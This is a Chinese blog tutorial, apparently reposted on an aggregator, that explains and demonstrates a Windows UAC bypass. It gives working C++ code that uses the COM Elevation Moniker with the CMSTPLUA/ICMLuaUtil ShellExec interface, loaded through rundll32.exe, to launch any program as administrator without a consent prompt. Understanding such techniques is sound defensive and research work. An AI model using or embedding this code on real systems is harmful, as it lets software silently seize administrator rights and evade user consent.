可以绕过 Windows UAC 吗

news2024/12/23 23:57:39

目录

一、引言

二、使用 COM 提升名称方法绕过 UAC

2.1 什么样的 COM 组件支持自动提权

2.2 如何以提升名称方法创建 COM 组件对象

2.3 有了权限提升的 COM 组件对象后,怎么为我们所用呢

2.4 使用 rundll32.exe 执行 COM 提升名称代码

2.4.1 rundll32.exe 简介

2.4.2 使用 rundll32.exe 执行 COM 提升名称代码

2.5 原理总结

三、总结

参考文档


本文中代码仓库地址:

https://gitee.com/langshanglibie/BypassUAC

一、引言

Windows 系统从 Vista 版本开始引入了一种名为 UAC(User Account Control,用户帐户控制)的提高系统安全的核心机制。

在 UAC 机制下,程序在申请管理员权限时,系统会弹出 UAC 提示窗口让用户确认,以达到阻止恶意程序损坏系统的效果。

如果是没有数字签名的程序,提示窗口顶部呈现醒目的黄色。

系统提供了一些让程序可以获取管理员权限的方法,但是都会弹出 UAC 提示窗口让用户确认。

那么,有办法绕过 UAC、不弹出提示窗口而获取管理员权限吗?有,本文介绍的“COM 提升名称”就是这样的一种方法。

二、使用 COM 提升名称方法绕过 UAC

通过 COM 提升名称(The COM Elevation Moniker)方法,程序可以以管理员权限创建 COM 组件对象,而不会弹出 UAC 提示窗口

COM 提升名称方法需要 COM 组件和及其使用者的共同配合:

  1. COM 组件支持自动提权。
  2. COM 组件使用者必须以提升名称方式创建 COM 组件对象。

2.1 什么样的 COM 组件支持自动提权

如果要支持自动提权,COM 组件需要在注册表中进行一些配置。

需在注册表中进行的配置

注册表位置

1. 配置 displayName

HKEY_LOCAL_MACHINE\Software\Classes\CLSID

   {CLSID}

      LocalizedString = displayName

例如:

HKEY_CLASSES_ROOT\CLSID\{3E5FC7F9-9A51-4367-9063-A120244FBEC7}

2. 配置可以提权

HKEY_LOCAL_MACHINE\Software\Classes\CLSID

   {CLSID}

     Elevation

         Enabled = 1

例如:

HKEY_CLASSES_ROOT\CLSID\{3E5FC7F9-9A51-4367-9063-A120244FBEC7}\Elevation

3. 配置可以自动提权

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\UAC\COMAutoApprovalList

2.2 如何以提升名称方法创建 COM 组件对象

下面的代码来自微软官网文档,展示了如何以提升名称方法创建权限提升的 COM 组件对象,该对象被创建完成后便拥有管理员权限。

HRESULT CoCreateInstanceAsAdmin(HWND hwnd, REFCLSID rclsid, REFIID riid, __out void ** ppv)

{

    BIND_OPTS3 bo;

    WCHAR  wszCLSID[50];

    WCHAR  wszMonikerName[300];

    StringFromGUID2(rclsid, wszCLSID, sizeof(wszCLSID) / sizeof(wszCLSID[0]));

    HRESULT hr = StringCchPrintf(wszMonikerName,

                                 sizeof(wszMonikerName) / sizeof(wszMonikerName[0]),

                                 L"Elevation:Administrator!new:%s", wszCLSID);

    if (FAILED(hr))

        return hr;

    memset(&bo, 0, sizeof(bo));

    bo.cbStruct = sizeof(bo);

    bo.hwnd = hwnd;

    bo.dwClassContext = CLSCTX_LOCAL_SERVER;

    return CoGetObject(wszMonikerName, &bo, riid, ppv);

}

关键语法:

Elevation:Administrator!new:{guid}

new 关键字表示创建一个 COM 组件的实例,guid 即 COM 组件的 CLSID,Administrator 表示以管理员权限创建之。

2.3 有了权限提升的 COM 组件对象后,怎么为我们所用呢

要想为我们所用,需要 COM 组件中含有执行命令的方法。系统中的 COM 组件 cmstplua.dll 正好满足这样的条件,且支持自动提权。

其实现的接口 ICMLuaUtil 中含有 ShellExec 方法。看上去是不是似曾相识?

HRESULT(STDMETHODCALLTYPE *ShellExec)(ICMLuaUtil* This,

    LPCWSTR lpFile,

    LPCTSTR lpParameters,

    LPCTSTR lpDirectory,

    ULONG fMask,

    ULONG nShowCmd

);

对,这个方法和系统函数 ShellExecute 一样可以用来创建进程,函数签名也几乎一致。多么合乎心意的方法!

目前为止,看上去万事俱备了,只欠把代码写出来了。

于是,创建了个测试程序,一顿敲击之后,主要代码如下:

bool CMLuaUtilBypassUAC(LPCTSTR szExePath)

{

    // 为简化代码篇幅,省略了错误处理逻辑

    CLSID clsidICMLuaUtil = {0};

    IID iidICMLuaUtil = {0};

    ::CLSIDFromString(CLSID_CMSTPLUA, &clsidICMLuaUtil);

    ::IIDFromString(IID_ICMLuaUtil, &iidICMLuaUtil);

    // 以提升名称方式创建 COM 组件对象,获取其 IID_ICMLuaUtil 接口

    ICMLuaUtil *pCMLuaUtil = nullptr;

    CoCreateInstanceAsAdmin(nullptr, clsidICMLuaUtil, iidICMLuaUtil, (PVOID*)(&pCMLuaUtil));

    // 启动目标程序

    pCMLuaUtil->lpVtbl->ShellExec(pCMLuaUtil, szExePath, nullptr, nullptr, 0, SW_SHOW);

    pCMLuaUtil->lpVtbl->Release(pCMLuaUtil);

}

......

......

// 调用上面函数,欲绕过 UAC 以管理员权限创建目标进程

CMLuaUtilBypassUAC(L"C:\\Test.exe");

OK,按下 F5,运行!

What? 系统 UAC 弹窗还是蹦了出来。

Why?

这是因为如果执行 COM 提升名称代码的程序的身份是不可信的,还是会触发 UAC 弹窗。只有是系统可信程序,才不会触发 UAC 弹窗。

因此,必须使这段代码在系统可信程序中运行。常用的系统可信程序有记事本、计算器、资源管理器等。

我们可以通过代码注入技术,将这段代码注入到这些程序的进程空间中执行。但是,最简单的莫过于直接通过系统中的 rundll32.exe 程序来加载我们的 DLL,来执行这段代码。

2.4 使用 rundll32.exe 执行 COM 提升名称代码

2.4.1 rundll32.exe 简介

rundll32.exe 是 Windows 中的一个系统程序,顾名思义,就是用来执行 DLL 文件的(实质是执行 DLL 的导出函数)。

rundll32.exe 语法:

rundll32.exe DllName,EntryPoint [Arguments]

DllName 和 EntryPoint 之间用空格或逗号分割。参数含义:

DllName

EntryPoint

Arguments

需要执行的 DLL文件名或全路径

要调用的 DLL 中的导出函数

函数参数(可选)

EntryPoint 函数必须兼容以下函数签名,才能成功被 rundll32.exe 调用。

void CALLBACK EntryPoint(

    HWND      hWnd,

    HINSTANCE hInstance,

    LPCTSTR   lpszCmdLine,

    int       nCmdShow

);

各参数含义如下:

hWnd

rundll32.exe 内部创建的名为“RunDLL”的窗口的句柄。

hInstance

rundll32.exe 进程的句柄。

lpszCmdLine

我们传递的 Arguments 字符串。

nCmdShow

固定为 10,即系统常量 SW_SHOWDEFAULT。

rundll32.exe 使用示例:

  • rundll32.exe shell32.dll,Control_RunDLL (调用控制面板)
  • rundll32.exe shell32.dll,Control_RunDLL timedate.cpl (调用控制面板中的日期和时间功能)
  • rundll32.exe user32.dll,LockWorkStation (锁屏)

2.4.2 使用 rundll32.exe 执行 COM 提升名称代码

要想调用 rundll32.exe,必须将之前的代码封装成一个 DLL,导出一个创建进程的函数给 rundll32.exe 调用。

// 导出函数,给 rundll32.exe 调用。末尾的 W 表示宽字符版本。

void CALLBACK BypassUACW(HWND hWnd, HINSTANCE hInstance, LPCTSTR lpszCmdLine, int nCmdShow)

{

    CMLuaUtilBypassUAC(lpszCmdLine);

}

然后在之前的测试程序中,通过 rundll32.exe 来调用 BypassUACW 函数。

void Rundll32BypassUAC(LPCTSTR szExePath)

{

    static LPCTSTR szRundll32Path = _T("C:\\Windows\\SysWOW64\\rundll32.exe");

    const std::wstring& dllPath = GetCurrentProcessDirPath() + _T("BypassUAC.dll");

   

    // 组织参数传递给 rundll32.exe

    TCHAR szCmdLine[MAX_PATH] = {0};

    ::StringCchPrintf(szCmdLine, _countof(szCmdLine), _T("%s \"%s\" %s %s"),

                      szRundll32Path,

                      dllPath.c_str(),

                      _T("BypassUAC"),

                      szExePath);

    // 启动 rundll32.exe

    STARTUPINFO si;

    PROCESS_INFORMATION pi;

    ::ZeroMemory(&si, sizeof(si));

    si.cb = sizeof(si);

    ::ZeroMemory(&pi, sizeof(pi));

    if (::CreateProcess(nullptr, szCmdLine, nullptr, nullptr, FALSE, 0, nullptr, nullptr, &si, &pi))

    {

        ::CloseHandle(pi.hProcess);

        ::CloseHandle(pi.hThread);

    }

}

......

......

// 调用上面函数,绕过 UAC 以管理员权限创建目标进程

Rundll32BypassUAC(L"C:\\Test.exe");

按下 F5,运行!这次,系统 UAC 提示窗口没再弹出来了,我们成功地绕过了 UAC 而获取到了管理员权限。

2.5 原理总结

COM 提升名称方法允许运行在 UAC 下的应用程序,创建权限提升的 COM 组件对象。

同时,系统中的 cmstplua.dll 组件实现的 ICMLuaUtil 接口正好提供了 ShellExec 方法,可以用来创建进程。

因此,我们可以利用 COM 提升名称方法来创建 cmstplua.dll 组件,之后通过其实现的接口 ICMLuaUtil 中的 ShellExec 方法来创建我们的目标进程,如此达到绕过 UAC 而获取到管理员权限的目的。

整个过程如下图所示。

三、总结

通过本文我们可以知道,Windows 系统安全机制并非固若金汤。通过 COM 提升名称方法,程序可以绕过其核心安全机制 UAC 而获取到系统管理员权限。

但需要提醒的是,本文中我们使用的 COM 组件 cmstplua.dll 及其接口 ICMLuaUtil 都是 Undocumented 的,在微软官网文档中查不到任何说明和参考,存在将来被微软修改的可能,所以建议尽量使用系统提供的常规方式获取管理员权限。

参考文档

User Account Control (Windows) | Microsoft Learn

The COM Elevation Moniker - Win32 apps | Microsoft Learn

rundll32 | Microsoft Learn

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/189275.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Qt使用QTextEdit来批量添加数据到数据库中

1.首先要了解QTextEdit的遍历方式 在下面的文章中已经介绍,这里就不在介绍了: 富文本处理(QTextEdit)_旷工锁的博客-CSDN博客_qtextedit 富文本 基本步骤为: 创建一个QTextEdit使用QTextDocument来获取QTextEdit中的…

IronPDF 2023.1 for Java Crack

关于 IronPDF for Java 在 Java 8、Kotlin 和 Scala 项目中创建、编辑和提取 PDF 内容。 IronPDF for Java(作为 IronPDF for .NET 的一部分提供)是一个 Java PDF 库,专为在 Windows、Linux 或云平台上运行的 Java 8、Kotlin 和 Scala 而设计…

2023-01-29 学习笔记:常见28种数据分析模型

2023-01-29 学习笔记:常见28种数据分析模型 知乎上的一篇文章,虽然之前对深度学习相关模型有所了解,但通过这篇文章了解了更多模型的应用场景,同时也知道了日常一共有多少种实用模型。 Excel/Python/sql/PowerBI/Pyecharts这些只是…

YOLOV3中卷积层,池化层,yolo层理解

前言:YOLOV3学习笔记,记录对卷积层,池化层,yolo层的理解,阐述深度学习中卷积核,通道数相关名词的含义。yolov3-tiny网络如下:卷积层0层为卷积层,其中filters16,表示的卷积…

css如何给div添加一个条纹背景,在背景上画一条有宽度的斜线

如图&#xff0c;想要实现div的背景上有一条深色的斜线。 这里主要使用的是css里的线性渐变属性。 先看一下网上示例及效果&#xff1a; 示例一 <body><div class"patterns pt1"></div><div class"patterns pt2"></div>…

Python - 实现logging根据日志级别输出不同颜色

文章目录一、完整代码二、代码解释三、附&#xff1a;自定义颜色对应代码前段时间因为工作需要脚本打印不同颜色的日志。查找了网上的一些方法&#xff0c;大部分都需要再安装第三方模块。后来选择采用比较简易的办法&#xff0c;类似于print()函数自定义内容颜色这种方式的缺陷…

抽烟行为监测识别系统 yolov5

抽烟行为监测识别系统通过pythonyolov5网络深度学习技术&#xff0c;对画面中人员抽烟行为进行主动识别检测。在介绍Yolo算法之前&#xff0c;首先先介绍一下滑动窗口技术&#xff0c;这对我们理解Yolo算法是有帮助的。采用滑动窗口的目标检测算法思路非常简单&#xff0c;它将…

C# AForge的简单使用

AForge.NET专为计算机视觉和人工智能应用而设计&#xff0c;这种C#框架适用于图像处理、神经网络、遗传算法、模糊逻辑、机器学习和机器人等。 该库是一个开源项目&#xff0c;包括&#xff1a; AForge.Imaging —— 一些日常的图像处理和过滤器 AForge.Vision —— 计算机视…

【MySQL】MySQL高手是如何练成的?

MySQL什么是MySQL呢&#xff1f;怎样练成MySQL高手&#xff1f;在Linux安装MySQL问题处理Mysql 的用户管理什么是MySQL呢&#xff1f; Mysql 是开源的&#xff0c;可以定制的&#xff0c;采用了 GPL 协议&#xff0c;可以根据业务需要修改源码来开发自己的 Mysql 系统。 MySQL…

彻底弄懂图片懒加载及底层实现原理

我们都知道图片懒加载是前端性能优化比较常见的一个手段&#xff0c;那么&#xff0c;你真的了解图片懒加载吗&#xff0c;本文将带你从简单到复杂一步一步彻底弄懂其底层实现原理。试想一下&#xff0c;假设用户在访问我们的某个页面时&#xff0c;一开始就加载页面的全部图片…

Vue中组件通信-$attrs与$listeners

组件通信-$attrs与$listeners1.$attrs父子组件通信的一种$attrs与$listeners ---- 父子组件通信$attrs&#xff1a;组件实例的属性&#xff0c;可以获取到父亲传递的props数据&#xff08;前提子组件没有通过props接受&#xff09;$listeners&#xff1a;组件实例的属性&#x…

【AAAI2023】Ultra-High-Definition Low-Light Image Enhancement

【AAAI2023】Ultra-High-Definition Low-Light Image Enhancement: A Benchmark and Transformer-Based Method 代码&#xff1a;https://github.com/TaoWangzj/LLFormer 这个论文首先构建了ultra-high definition low-light &#xff08;UHD-LOL&#xff09;数据集&#xff0c…

Revit建模操作:地面拼花效果做法和构件上色

一、Revit中如何快速做出地面拼花效果 一般大厅地面都会采用拼花做装饰&#xff0c;下面给大家推荐一种快速做出拼花效果的方法。 1.在Revit中导入地面铺装的CAD图纸&#xff0c;通过拾取底图的线&#xff0c;配合绘制命令分别建立各个形状的楼板&#xff0c;如图1所示&#xf…

虚拟DOM与render函数

目录 一、虚拟DOM 1、虚拟DOM是什么 2、为什么要使用虚拟DOM &#xff08;1&#xff09;浏览器显示网页的五步过程&#xff1a; &#xff08;2&#xff09;虚拟DOM的优点 3、Diff算法 二、VNode简介 1、VNode是什么 2、VNode的作用 3、VNode的优点 4、VNode如何生成&a…

【FreeRTOS】详细讲解FreeRTOS中消息队列并通过示例讲述其用法

讲解FreeRTOS中消息队列及其用法使用消息队列的原因消息队列函数解析示例遇到的问题使用消息队列的原因 在裸机系统中&#xff0c;两个程序间需要共享某个资源通常使用全局变量来实现&#xff1b;但在含操作系统(下文就拿FreeRTOS举例)的开发中&#xff0c;则使用消息队列完成。…

MonekyRunner

MonekyRunner 文章目录MonekyRunner一、简介二、JDK环境变量三、配置Android SDK环境变量3.1.下载并解压&#xff1a;3.2.环境变量&#xff1a;3.3.查看MonkeyRunner&#xff1a;四、编写Python脚本五、运行脚本一、简介 MonkeyRunner是Android SDK中自带的工具之一&#xff0…

python3:基础语法、及6种基本数据类型、找到字典的下标 index、获取list中指定元素的位置索引

基础语法 源码文件以 UTF-8 编码&#xff0c;所有字符串都是 unicode 字符串 Python 3 中&#xff0c;可以用中文作为变量名&#xff0c;非 ASCII 标识符也是允许的 标识符 第一个字符必须是字母表中字母或下划线 _ 。 标识符的其他的部分由字母、数字和下划线组成。 标识…

Java---微服务---微服务保护Sentinel

微服务保护Sentinel1.初识Sentinel1.1.雪崩问题及解决方案1.1.1.雪崩问题1.1.2.超时处理1.1.3.仓壁模式1.1.4.断路器1.1.5.限流1.1.6.总结1.2.服务保护技术对比1.3.Sentinel介绍和安装1.3.1.初识Sentinel1.3.2.安装Sentinel1.4.微服务整合Sentinel2.流量控制2.1.簇点链路2.1.快…

【自然语言处理】基于sklearn-crfsuite进行命名实体识别

基于sklearn-crfsuite进行命名实体识别0. 条件随机场1. 训练数据2. 特征提取3. 训练一个CRF模型4. 评估5. 超参数优化6. 检查参数空间7. 检查在测试数据上的最优估计器8.检查分类器学到了什么东西9.检查模型权重10. 定制化11.在控制台中进行格式化参考资料本文中&#xff0c;针…

一种前端无源码定制化开发能力专利解读

背景 目前市面上一些web前端工程在打包发布之前都会进行代码混淆加密。代码混淆(Obfuscated code)是将计算机程序的代码&#xff0c;转换成一种功能上等价&#xff0c;但是难于阅读和理解的形式的行为。代码混淆可以用于程序源代码&#xff0c;也可以用于程序编译而成的中间代…